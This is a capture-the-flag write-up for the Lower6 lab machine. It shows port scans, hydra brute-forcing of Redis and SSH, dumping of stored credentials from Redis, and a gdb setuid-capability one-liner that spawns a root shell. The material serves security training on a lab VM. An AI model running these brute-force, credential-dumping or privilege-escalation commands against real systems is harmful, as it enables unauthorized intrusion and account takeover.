VulNyx - Lower6 Writeup
Lower6
is a low difficulty linux box. This machine consists of brute-forcing a redis instance as well as SSH, dumping the redis database keys, and finally privilege escalation by abusing the setuid
capability enabled in the gdb
binary.
Enumeration
Port Scanning
Performing a basic port scan and service enumeration with nmap
gives us the following
1
2
3
4
5
6
7
8
9
10
11
12
nmap -p- lower6.vl
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-25 05:55 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for lower6.vl (192.168.25.13)
Host is up (0.0013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
6379/tcp open redis
MAC Address: 08:00:27:2D:DD:BB (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.29 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nmap -p 22,6379 -sC -sV lower6.vl
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-25 05:56 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for lower6.vl (192.168.25.13)
Host is up (0.00025s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
6379/tcp open redis Redis key-value store
MAC Address: 08:00:27:2D:DD:BB (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.55 seconds
As we can see we have OpenSSH running on port 22
and a Redis key-value store running on port 6379
Port 6379 - Redis key-value store
Redis is an in-memory database. When we attempt to connect to the redis instance we see that anonymous connections are are not allowed, i.e., authentication is required.
1
2
3
redis-cli -h lower6.vl -p 6379
lower6.vl:6379> info
NOAUTH Authentication required.
We first attempted some common credentials like admin:admin
, admin:password
, and root:root
which were unsuccessful.
Redis Brute-force
We next attempted to brute-force credentials for the redis instance using hydra
1
hydra -P rockyou.txt -f redis://192.168.25.13 -t 64
We discovered a valid password, i.e., hellow
and used it to login to the redis service by assuming that only a password was configured in the redis instance.
Note: Redis allows the configuration of either username + password or only a password. If only a password is configured the username used would be “default”.
Redis Enumeration (Authenticated)
We first used the INFO keyspace
command to obtain database related statistics. We can see that db0
contains 5
keys.
Dumping db0
By dumping db0
we can see that it seems to contain credentials.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
lower6.vl:6379> INFO keyspace
# Keyspace
db0:keys=5,expires=0,avg_ttl=0
lower6.vl:6379> SELECT 0
OK
lower6.vl:6379> KEYS *
1) "key2"
2) "key5"
3) "key4"
4) "key3"
5) "key1"
lower6.vl:6379> GET key2
"ghost:Ghost!Hunter42"
lower6.vl:6379> GET key5
"shadow:ShadowMaze@9"
lower6.vl:6379> GET key4
"wolf:CyberWolf#21"
lower6.vl:6379> GET key3
"snake:Pixel_Sn4ke77"
lower6.vl:6379> GET key1
"killer:K!ll3R123"
Dumped keys
creds.txt
1
2
3
4
5
ghost:Ghost!Hunter42
shadow:ShadowMaze@9
wolf:CyberWolf#21
snake:Pixel_Sn4ke77
killer:K!ll3R123
Brute-forcing SSH
Next we prepare a username and password wordlist with keys dumped, to be used with hydra to brute-force SSH which lead to the discovery of a valid username and password combination, i.e., killer:ShadowMaze@9
1
cut -f1 -d ":" creds.txt > users.txt
1
cut -f2 -d ":" creds.txt > passwords.txt
User flag
Privilege escalation
linpeas.sh
We then used LinPEAS to look for possible paths to escalate privileges. We can see that the gdb
binary has set user identity (setuid
) capabilities which we can potentially use to escalate privileges by using it as backdoor to maintain privileged access by manipulating its own process UID.
1
scp linpeas.sh [email protected]:/home/killer/
1
killer@lower6:~$ /usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit